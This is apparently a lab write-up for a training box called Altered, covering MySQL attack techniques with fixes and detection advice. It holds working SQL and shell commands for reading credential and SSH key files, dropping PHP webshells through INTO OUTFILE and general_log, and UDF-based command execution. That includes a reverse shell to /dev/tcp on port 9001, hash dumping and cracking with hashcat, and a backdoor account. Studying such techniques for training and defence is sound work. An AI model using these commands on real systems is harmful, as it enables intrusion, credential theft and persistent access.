Overview

This note documents what an attacker can see and abuse from an interactive mysql> prompt, using the Altered box as a training ground. It moves from enumeration, through file read/write, to remote code execution via user-defined functions (UDF).

Context for Altered: the application database account holds the FILE privilege (which is why INTO OUTFILE succeeds), and the mysql process runs as its own dedicated user rather than root. That makes it an ideal environment for practising UDF and general_log tricks.

PrimitiveRequiresImpactFix
LOAD_FILEFILEArbitrary file read (secrets, keys)Remove FILE, narrow secure_file_priv
INTO OUTFILE / INTO DUMPFILEFILE + write access to targetWebshell / binary dropRemove FILE, web root not writable by mysql
UDF sys_execFILE + INSERT on mysql.func + write to plugin dirRemote code execution (root if mysqld runs as root)Read-only plugin dir, non-root mysqld, AppArmor
general_log writeSUPERWrite that bypasses secure_file_privNo SUPER for the application account
Dump mysql.userSELECT on mysql.*Hash theft, crack or reuseLeast privilege, strong passwords

The escalation ladder from a database foothold is: read data -> read system files -> write system files -> execute code -> shell (potentially root). Each rung requires a different privilege, which is why privilege enumeration comes first.

Reconnaissance

The first 60 seconds in mysql> establish three things: who you are, what you can do, and where you can write.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
-- context
SELECT version(), current_user(), user(), @@hostname, @@datadir, @@version_compile_os;

-- key variables for file R/W and UDF
SELECT @@secure_file_priv;    -- '' = write anywhere | path = only there | NULL = disabled
SELECT @@plugin_dir;          -- where a .so must be dropped for UDF
SELECT @@local_infile;        -- LOAD DATA LOCAL
SELECT @@have_symlink;

-- my privileges
SHOW GRANTS FOR CURRENT_USER();
SELECT * FROM information_schema.user_privileges;

-- what exists on the system
SHOW DATABASES;
SELECT schema_name FROM information_schema.schemata;
SHOW VARIABLES LIKE '%log%';   -- logging (relevant to the general_log trick and to blue-team awareness)
SELECT * FROM mysql.func;      -- has a UDF already been defined?
SHOW PROCESSLIST;              -- other sessions and queries (sometimes leaks credentials)

Establish whether you hold FILE, the value of secure_file_priv, and the location of plugin_dir. These three facts determine which of the techniques below will work.

Initial Access

File read with LOAD_FILE()

LOAD_FILE() reads any file readable by the mysql user, within the bounds of secure_file_priv.

1
2
3
4
5
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/srv/altered/.env');            -- application secrets (APP_KEY, DB credentials)
SELECT LOAD_FILE('/etc/nginx/sites-enabled/default');
SELECT LOAD_FILE('/root/.ssh/id_rsa');            -- if mysql runs as root, this is a jackpot
SELECT LOAD_FILE('/home/htb/.bash_history');      -- traces, commands, sometimes passwords

This works because of the FILE privilege plus a file readable by the MySQL process. A database foothold is frequently an arbitrary file read across the whole host, not just over its own data, which makes it excellent for collecting secrets and pivoting.

Fix: revoke FILE from the application account and set secure_file_priv to a narrow directory.

File write: INTO OUTFILE vs INTO DUMPFILE

This distinction is critical and frequently confused.

INTO OUTFILEINTO DUMPFILE
FormatAdds tabs and newlines, escapes charactersRaw write, byte for byte
RowsManyExactly one
UseText files, simple webshellsBinaries (for example a .so for UDF), files that require exact bytes
1
2
3
4
5
-- text webshell
SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/srv/altered/public/x.php';

-- binary write (for example a UDF library) must use DUMPFILE, or OUTFILE corrupts the bytes
SELECT LOAD_FILE('/tmp/lib_mysqludf_sys.so') INTO DUMPFILE '/usr/lib/mysql/plugin/sys.so';

If you try to write a .so through OUTFILE, escaping damages the ELF and the UDF will not load. For binaries, always use DUMPFILE.

UDF to command execution

This is the key technique: moving from a database account to system command execution as the MySQL process user. If MySQL runs as root, this is root RCE.

MySQL allows loading user-defined functions from .so libraries in the plugin_dir directory. The public lib_mysqludf_sys library exposes sys_exec() and sys_eval(), which call system(). Given FILE (to write the .so) plus INSERT on mysql.func (to register the function), you get command execution.

Requirements:

  • FILE privilege plus write access to @@plugin_dir
  • secure_file_priv does not block writes to the plugin directory ('' is ideal)
  • a .so of the correct architecture (x86_64)
1
SELECT @@plugin_dir;        -- for example /usr/lib/mysql/plugin/
1
2
3
# the .so ships with sqlmap: data/udf/mysql/linux/64/lib_mysqludf_sys.so
# (also in Metasploit; sqlmap keeps them XOR-packed and ready)
# transfer it to the box (for example via an earlier www-data foothold) into /tmp/
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
-- write the library into plugin_dir (raw)
SELECT LOAD_FILE('/tmp/lib_mysqludf_sys.so') INTO DUMPFILE '/usr/lib/mysql/plugin/sys.so';

-- register the functions
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'sys.so';
CREATE FUNCTION sys_eval RETURNS STRING  SONAME 'sys.so';

-- execute
SELECT sys_eval('id');                         -- returns command output
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.x/9001 0>&1"');

sqlmap ... --os-shell (or --os-pwn) does exactly this under the hood. Doing it manually once is worthwhile for understanding.

On Altered this gives a shell as the mysql user rather than root, but it is still lateral movement plus an understanding of a technique that on many boxes yields root directly.

Fix: no FILE for the application account; a plugin directory that is not writable by the mysql user; MySQL not running as root; AppArmor or SELinux confining mysqld.

general_log to webshell (bypassing secure_file_priv)

When secure_file_priv blocks INTO OUTFILE but you hold SUPER or SYSTEM_VARIABLES_ADMIN, you can write a file through the query log, because the log path is not subject to secure_file_priv.

1
2
3
4
SET GLOBAL general_log = ON;
SET GLOBAL general_log_file = '/srv/altered/public/g.php';
SELECT '<?php system($_GET["c"]); ?>';     -- this query is written to the log, that is, to the .php file
SET GLOBAL general_log = OFF;

The log now contains your query (with the PHP code) and sits in the web root as a .php file. The same arbitrary-write primitive has multiple realisations; when one path is blocked, look for another.

Fix: do not grant SUPER to the application; monitor changes to general_log.

Lateral Movement

Harvesting and cracking hashes

1
2
3
4
-- newer MySQL/MariaDB
SELECT user, host, plugin, authentication_string FROM mysql.user;
-- older
SELECT user, host, password FROM mysql.user;

Identification and hashcat modes:

  • mysql_native_password produces a *HEX40 hash (SHA1(SHA1(pass))), hashcat -m 300
  • caching_sha2_password (default since MySQL 8) is much harder and slower
1
hashcat -m 300 hashes.txt /usr/share/wordlists/rockyou.txt

On Altered, the application hashes in uhc.users are bcrypt $2y$ (not mysql.user), so hashcat -m 3200. They are deliberately useless (players rotate them), but they are good practice for recognising formats and the cost of bcrypt. Test the password from .env (DB_PASSWORD) against system and SSH accounts; password reuse is common.

Session and information_schema recon

1
2
3
4
5
6
7
8
9
SHOW PROCESSLIST;                                   -- active queries (on a live box this leaks credentials)
SELECT * FROM information_schema.processlist;

SELECT * FROM performance_schema.threads LIMIT 5;
SELECT table_schema, COUNT(*) FROM information_schema.tables GROUP BY table_schema;

-- every column named like a secret
SELECT table_schema, table_name, column_name FROM information_schema.columns
WHERE column_name REGEXP 'pass|secret|token|key|cred';

information_schema is a map of the entire database; PROCESSLIST on production can reveal other services’ queries with secrets in them.

Privilege Escalation

Persistence primitives, documented so they can be detected:

  • A new database user with full rights, a quiet database backdoor:

    1
    2
    
    CREATE USER 'svc'@'%' IDENTIFIED BY 'x';
    GRANT ALL ON *.* TO 'svc'@'%' WITH GRANT OPTION;
    
  • A trigger or EVENT that runs on INSERT or on a schedule

  • A UDF left registered in mysql.func, for persistent RCE

Blue-team detection: audit mysql.user and mysql.func, alert on CREATE FUNCTION / CREATE USER / GRANT, monitor changes to general_log and plugin_dir, and check the integrity of .so files in the plugin directory.

Lessons Learned

  • Privilege enumeration first: FILE, secure_file_priv and plugin_dir decide which techniques are available.
  • LOAD_FILE turns a database account into an arbitrary file read across the host.
  • Use DUMPFILE for binaries, OUTFILE for text; OUTFILE corrupts ELF files.
  • UDF is the bridge from “read and write files” to “execute code”.
  • The general_log trick is an alternative write primitive when secure_file_priv blocks OUTFILE.
  • Passwords found in .env or configuration files should always be tested against SSH and other services.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-- context and privileges
SELECT version(), current_user(), @@secure_file_priv, @@plugin_dir;
SHOW GRANTS FOR CURRENT_USER();

-- file read
SELECT LOAD_FILE('/srv/altered/.env');

-- text webshell
SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/srv/altered/public/x.php';

-- UDF RCE
SELECT LOAD_FILE('/tmp/lib_mysqludf_sys.so') INTO DUMPFILE '/usr/lib/mysql/plugin/sys.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'sys.so';
SELECT sys_eval('id');

-- general_log webshell
SET GLOBAL general_log = ON;
SET GLOBAL general_log_file = '/srv/altered/public/g.php';
SELECT '<?php system($_GET["c"]); ?>';
SET GLOBAL general_log = OFF;

-- hash harvest
SELECT user, host, authentication_string FROM mysql.user;
1
2
hashcat -m 300 hashes.txt /usr/share/wordlists/rockyou.txt   # mysql_native_password
hashcat -m 3200 app_hashes.txt /usr/share/wordlists/rockyou.txt   # bcrypt application hashes